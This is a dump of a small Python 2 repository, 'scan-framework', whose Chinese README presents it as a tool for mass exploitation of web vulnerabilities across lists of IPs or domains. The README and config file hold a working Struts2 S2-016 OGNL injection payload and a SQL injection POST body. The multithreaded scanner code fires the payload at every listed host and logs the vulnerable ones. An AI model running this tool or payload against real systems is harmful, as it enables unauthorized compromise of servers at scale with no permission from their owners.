├── README.md ├── __init__.py ├── cli.py ├── conf └── scan_ini.ini └── lib ├── __init__.py ├── __init__.pyc ├── include.py ├── include.pyc ├── scan_core.py ├── scan_core.pyc ├── scanner.py ├── scanner.pyc ├── scanner_raw.py └── scanner_raw.pyc /README.md: -------------------------------------------------------------------------------- 1 | # scan-framework 2 | 3 | ------ 4 | 5 | scan-framework是一个漏洞批量利用扫描框架,只需要进行简单配置,就可以变成一个任意漏洞批量利用的工具,前提是你必须有漏洞的payload、扫描的IP或者域名列表。 6 | 7 | 你可以使用 scan-framework: 8 | 9 | > * 进行GET方法的形式的漏洞批量扫描 10 | > * 进行POST方法的形式的漏洞批量扫描 11 | > * 进行Http原始报文的漏洞批量扫描 12 | 13 | ------ 14 | 15 | ## 使用步骤 16 | 17 | > * 确保收集一个有效的漏洞探测payload 18 | > * 有一个待扫描的IP或者域名列表 19 | > * 触发漏洞的页面中有代表漏洞探测成功的特征字符串 20 | > * 会使用scan-framework的配置文件 21 | > * 入口文件为cli.py 命令行参数-m 22 | 23 | ## 配置文件 24 | 配置文件位于工程中的conf文件夹下: 25 | ``` 26 | [main] 27 | # 扫描为真的规则(支持正则) 28 | scan_rule = hacker 29 | # 扫描后收集结果的规则(支持正则) 30 | res_rule = hacker 31 | # 扫描使用的payload 32 | payload = redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()} 33 | # 使用raw方法,放置http报文的文件 34 | raw_file = 35 | # 待扫描ip列表的文件 36 | ip_file = c:\\ip.txt 37 | #输出结果的文件 38 | out_file = c:\\res.txt 39 | # 开启的线程数 40 | thread_num = 8 41 | # 请求的方式 42 | method = get 43 | ``` 44 | 上面是一个典型的get方法的漏洞扫描的配置,其中特征字符串尾hacker,扫描中可以根据**scan_rule**判断是否存在漏洞,使用**res_rule**获取漏洞触发页面上的一些信息,这个两个选项支持正则匹配,你可以写入判断依据的正则表达式,scan-framework会使用它们进行爬取。 45 | 46 | ##两种扫描方式 47 | **url**模式下,可以扫描如下形式的漏洞,比如S2-016漏洞: 48 | ``` 49 | http://127.0.0.1:8080/struts_hello/hello?redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()} 50 | ``` 51 | 如果网站有漏洞,那么在页面上会显示出*hacker*字符串,只需要配置: 52 | ``` 53 | scan_rule = hacker 54 | ``` 55 | 上面是一种get方式的漏洞扫描。 56 | 当method = post时,payload为POST数据包中请求体,如: 57 | ``` 58 | username=admin' and 1=1&password=xxss&login=1 59 | ``` 60 | **raw**模式下,要求配置文件中raw_file不为空,而是指定一个保存http请求报文的文件,文件中可能是下面的形式: 61 | ``` 62 | GET /code/test.php HTTP/1.1 63 | Host: 127.0.0.1 64 | Proxy-Connection: keep-alive 65 | Cache-Control: max-age=0 66 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 67 | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0 68 | Referer: http://127.0.0.1/code/ 69 | Accept-Encoding: gzip,deflate,sdch 70 | Accept-Language: zh-CN,zh;q=0.8 71 | Cookie: PHPSESSID=bv2n8m904ggt8nsi9istnm9fg7 72 | 73 | 74 | ``` 75 | 76 | ##命令行参数 77 | ``` 78 | >python cli.py -h 79 | Usage: cli.py [options] 80 | 81 | Options: 82 | -h, --help show this help message and exit 83 | -m MODE, --mode=MODE 84 | ``` 85 | 选择相应的模式: 86 | > * -m url 对应URL模式 87 | > * -m raw 对应RAW模式 88 | 89 | ##Bug反馈 90 | 请联系: 91 | exploitcat@foxmail.com 92 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Author: anchen 4 | # @Date: 2015-04-11 10:43:10 5 | # @Last Modified by: anchen 6 | # @Last Modified time: 2015-04-11 10:43:12 7 | -------------------------------------------------------------------------------- /cli.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import os 4 | import optparse 5 | import ConfigParser 6 | import lib.include as include 7 | 8 | from lib.scan_core import AbstractScanner 9 | 10 | options = None 11 | arguments = None 12 | 13 | 14 | class Item(): 15 | def __init__(self, payload, rfile, _file, out, mode): 16 | self.payload = payload 17 | self.rfile = rfile 18 | self.file = _file 19 | self.out = out 20 | self.mode = mode 21 | 22 | 23 | '''接收命令行参数''' 24 | def receive_args(): 25 | global options, arguments 26 | p = optparse.OptionParser() 27 | p.add_option('--mode', '-m', default='') 28 | options, arguments = p.parse_args() 29 | 30 | 31 | '''读取配置文件''' 32 | def get_item(): 33 | global options 34 | cf = ConfigParser.ConfigParser() 35 | cf.read(include.conf_dir) 36 | items = cf.items("main") 37 | payload = items[2][1] 38 | rfile = items[3][1] 39 | _file = items[4][1] 40 | out = items[5][1] 41 | mode = options.mode 42 | item = Item(payload, rfile, _file, out, mode) 43 | return item 44 | 45 | 46 | def main(): 47 | # 接收参数 48 | receive_args() 49 | my_scanner = AbstractScanner(get_item()) 50 | my_scanner.run() 51 | 52 | 53 | if __name__ == '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /conf/scan_ini.ini: -------------------------------------------------------------------------------- 1 | [main] 2 | # 扫描为真的规则(支持正则) 3 | scan_rule = hacker 4 | # 扫描后收集结果的规则(支持正则) 5 | res_rule = hacker 6 | # 扫描使用的payload 7 | payload = redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()} 8 | # 使用raw方法,放置http报文的文件 9 | raw_file = 10 | # 待扫描ip列表的文件 11 | ip_file = c:\\ip.txt 12 | #输出结果的文件 13 | out_file = c:\\res.txt 14 | # 开启的线程数 15 | thread_num = 8 16 | # 请求的方式 17 | method = get -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/__init__.py -------------------------------------------------------------------------------- /lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/__init__.pyc -------------------------------------------------------------------------------- /lib/include.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | import sys 4 | p_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 5 | lib_dir = os.path.dirname(os.path.abspath(__file__)) 6 | conf_dir = p_dir + os.path.sep + "conf" + os.path.sep + "scan_ini.ini" 7 | 8 | sys.path.append(p_dir) 9 | sys.path.append(lib_dir) 10 | -------------------------------------------------------------------------------- /lib/include.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/include.pyc -------------------------------------------------------------------------------- /lib/scan_core.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | import sys 4 | import re 5 | import include 6 | import requests 7 | import ConfigParser 8 | from scanner import ScannerTool 9 | from scanner_raw import ScannerRawTool 10 | 11 | 12 | class AbstractScanner(): 13 | def __init__(self, options): 14 | self.options = options 15 | 16 | 17 | '''读配置文件获取rule''' 18 | def get_rule(self): 19 | cf = ConfigParser.ConfigParser() 20 | cf.read(include.conf_dir) 21 | items = cf.items("main") 22 | scan_rule = items[0][1] 23 | res_rule = items[1][1] 24 | return scan_rule, res_rule 25 | 26 | '''由http://xxx.cn/1.php?id=分类出域名''' 27 | def get_host_from_url(self, ip): 28 | ip = ip.replace("http://", '') 29 | if ip.find('/') != -1: 30 | ip = ip[:ip.find('/')] 31 | return ip 32 | 33 | '''将方法体中的host字段进行替换''' 34 | def get_raw_body(self, req, ip): 35 | ip = self.get_host_from_url(ip) 36 | host_reg = re.compile(r'Host:\s([a-z\.A-Z0-9]+)') 37 | host = host_reg.findall(req) 38 | if not host or host[0] == '': 39 | print "[-]ERROR MESSAGE!Wrong format for request body" 40 | sys.exit() 41 | req, num = re.subn(host_reg, "Host: %s", req) 42 | return req % ip 43 | 44 | '''扫描的具体代码,url模式''' 45 | def scan_process_url(self, payload, addr_file, out_file): 46 | scan_rule, res_rule = self.get_rule() 47 | ip_list = [] 48 | with open(addr_file, 'r') as ip: 49 | ip_list = ip.read().split("\n") 50 | scanner = ScannerTool(ip_list, payload, out_file, scan_rule, res_rule) 51 | scanner.scan() 52 | 53 | '''扫描的具体代码,raw模式''' 54 | def scan_process_raw(self, raw_file, addr_file, out_file): 55 | body_list = [] 56 | scan_rule, res_rule = self.get_rule() 57 | with open(raw_file, 'r') as rf, open(addr_file, 'r') as ip_file: 58 | req = rf.read() # 方法体 59 | ip_list = ip_file.read().split("\n") 60 | for ip in ip_list: 61 | body = self.get_raw_body(req, ip) 62 | body_list.append(body) 63 | scanner = ScannerRawTool(body_list, out_file, scan_rule, res_rule) 64 | scanner.scan() 65 | 66 | '''扫描的模板方法''' 67 | def run(self): 68 | # 执行扫描的逻辑 69 | mode = self.options.mode 70 | # 普通模式url 71 | if mode == "url": 72 | payload = self.options.payload 73 | addr_file = self.options.file 74 | out_file = self.options.out 75 | if not os.path.exists(addr_file) or not os.path.exists(out_file): 76 | print "[-]ERROR MESSAGE! File not exist!" 77 | sys.exit() 78 | self.scan_process_url(payload, addr_file, out_file) 79 | 80 | # http request raw模式 81 | if mode == "raw": 82 | raw_file = self.options.rfile 83 | addr_file = self.options.file 84 | out_file = self.options.out 85 | if not os.path.exists(addr_file) or not os.path.exists(out_file) or not os.path.exists(raw_file): 86 | print "[-]ERROR MESSAGE! File not exist!" 87 | sys.exit() 88 | self.scan_process_raw(raw_file, addr_file, out_file) 89 | 90 | -------------------------------------------------------------------------------- /lib/scan_core.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/scan_core.pyc -------------------------------------------------------------------------------- /lib/scanner.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import re 3 | import include 4 | import requests 5 | import ConfigParser 6 | from Queue import Queue 7 | from threading import Thread, Lock 8 | method = None 9 | 10 | class ScannerTool: 11 | def __init__(self, iplist, payload, out_file, scan_rule, res_rule): 12 | global method 13 | cf = ConfigParser.ConfigParser() 14 | cf.read(include.conf_dir) 15 | items = cf.items("main") 16 | 17 | self.iplist = iplist 18 | self.out_file = out_file 19 | # 扫描为真的规则 20 | self.scan_rule = scan_rule 21 | # 收集结果的规则 22 | self.res_rule = res_rule 23 | # 扫描的payload 24 | self.payload = payload 25 | # 线程数 26 | self.thread_num = int(items[6][1]) 27 | # 请求方式 post get 28 | self.method = items[7][1] 29 | method = self.method 30 | 31 | 32 | '''扫描方法''' 33 | def scan(self): 34 | f = open(self.out_file, 'a') 35 | queue = Queue() 36 | # 开启thread_num个线程 37 | for i in xrange(self.thread_num): 38 | worker = ScanWorker(queue) 39 | worker.daemon = True 40 | worker.start() 41 | 42 | # 向队列中添加链接 43 | for ip in self.iplist: 44 | # 默认带有http://协议头 45 | if self.method == "get": 46 | if self.payload: 47 | url = "%s?%s" % (ip, self.payload) 48 | else: 49 | url = ip 50 | if not url.startswith("http://"): 51 | continue 52 | # 向队列中放任务 53 | queue.put((url, f, self.scan_rule, self.res_rule)) 54 | 55 | if self.method == "post": 56 | # post的形式:username=chongrui&pass=1123&cookie=xxxxssss 57 | if self.payload: 58 | url = ip 59 | # 将payload变为字典的形式{'username':'chongrui'} 60 | data = dict([tuple(x.split("=")) for x in self.payload.split("&")]) 61 | queue.put((url, f, data, self.scan_rule, self.res_rule)) 62 | queue.join() 63 | f.close() 64 | 65 | 66 | '''工作线程''' 67 | class ScanWorker(Thread): 68 | def __init__(self, queue): 69 | Thread.__init__(self) 70 | self.queue = queue 71 | 72 | def run(self): 73 | global method 74 | while True: 75 | # 处理get方式 76 | if method == "get": 77 | url, f, scan_rule, res_rule = self.queue.get() 78 | try: 79 | r = requests.get(url) 80 | if r.status_code != 200: 81 | raise Exception 82 | page_content = r.content 83 | scan_reg = re.compile(r'%s' % scan_rule) 84 | res_reg = re.compile(r'%s' % res_rule) 85 | res = url 86 | if scan_reg.findall(page_content): 87 | for item in res_reg.findall(page_content): 88 | res += "\t\t" + item 89 | res += "\n" 90 | mlock = Lock() 91 | mlock.acquire() 92 | print "[+]%s" % res 93 | f.write(res) 94 | mlock.release() 95 | except Exception, e: 96 | print e 97 | pass 98 | self.queue.task_done() 99 | # 处理post方式 100 | if method == "post": 101 | url, f, data, scan_rule, res_rule = self.queue.get() 102 | try: 103 | r = requests.post(url,data=data) 104 | page_content = r.content 105 | scan_reg = re.compile(r'%s' % scan_rule) 106 | res_reg = re.compile(r'%s' % res_rule) 107 | res = url 108 | if scan_reg.findall(page_content): 109 | for item in res_reg.findall(page_content): 110 | res += "\t\t" + item 111 | res += "\n" 112 | mlock = Lock() 113 | mlock.acquire() 114 | print "[+]%s" % res 115 | f.write(res) 116 | mlock.release() 117 | except Exception, e: 118 | print e 119 | pass 120 | self.queue.task_done() 121 | -------------------------------------------------------------------------------- /lib/scanner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/scanner.pyc -------------------------------------------------------------------------------- /lib/scanner_raw.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import re 3 | import sys 4 | import socket 5 | import include 6 | import requests 7 | import ConfigParser 8 | from Queue import Queue 9 | from threading import Thread, Lock 10 | 11 | 12 | class ScannerRawTool: 13 | def __init__(self, body_list, out_file, scan_rule, res_rule): 14 | cf = ConfigParser.ConfigParser() 15 | cf.read(include.conf_dir) 16 | items = cf.items("main") 17 | 18 | self.body_list = body_list 19 | self.out_file = out_file 20 | self.scan_rule = scan_rule 21 | self.res_rule = res_rule 22 | # 线程数 23 | self.thread_num = int(items[6][1]) 24 | 25 | '''扫描方法''' 26 | def scan(self): 27 | f = open(self.out_file, 'a') 28 | queue = Queue() 29 | # 开启8个线程 30 | for i in xrange(self.thread_num): 31 | worker = ScanWorker(queue) 32 | # 随着主线程的消亡而消亡 33 | worker.daemon = True 34 | worker.start() 35 | 36 | # 向队列中添加链接 37 | for req in self.body_list: 38 | # 向队列中放任务 39 | queue.put((req, f, self.scan_rule, self.res_rule)) 40 | queue.join() 41 | f.close() 42 | 43 | 44 | '''工作线程''' 45 | class ScanWorker(Thread): 46 | def __init__(self, queue): 47 | Thread.__init__(self) 48 | self.queue = queue 49 | 50 | '''从原始请求中获取Host值''' 51 | def get_host(self, req): 52 | host_reg = re.compile(r'Host:\s([a-z\.A-Z0-9]+)') 53 | host = host_reg.findall(req) 54 | if not host or host[0] != '': 55 | return host[0] 56 | 57 | def run(self): 58 | while True: 59 | req, f, scan_rule, res_rule = self.queue.get() 60 | # 默认带有http://协议头 61 | try: 62 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 63 | host = self.get_host(req) 64 | print host + "\n" 65 | s.settimeout(5) 66 | s.connect((host, 80)) 67 | s.sendall(req) 68 | page_content = s.recv(65535) 69 | res = host 70 | # 验证的正则 71 | scan_reg = re.compile(r'%s' % scan_rule) 72 | res_reg = re.compile(r'%s' % res_rule) 73 | if scan_reg.findall(page_content): 74 | for item in res_reg.findall(page_content): 75 | res += "\t\t" + item 76 | res += "\n" 77 | mlock = Lock() 78 | mlock.acquire() 79 | print "[+]%s" % res 80 | f.write(res) 81 | mlock.release() 82 | except Exception, e: 83 | print e 84 | pass 85 | self.queue.task_done() 86 | 87 | -------------------------------------------------------------------------------- /lib/scanner_raw.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneSourceCat/scan-framework/8789d63e1fded3a79012d2daaa0bb9e721bc849c/lib/scanner_raw.pyc --------------------------------------------------------------------------------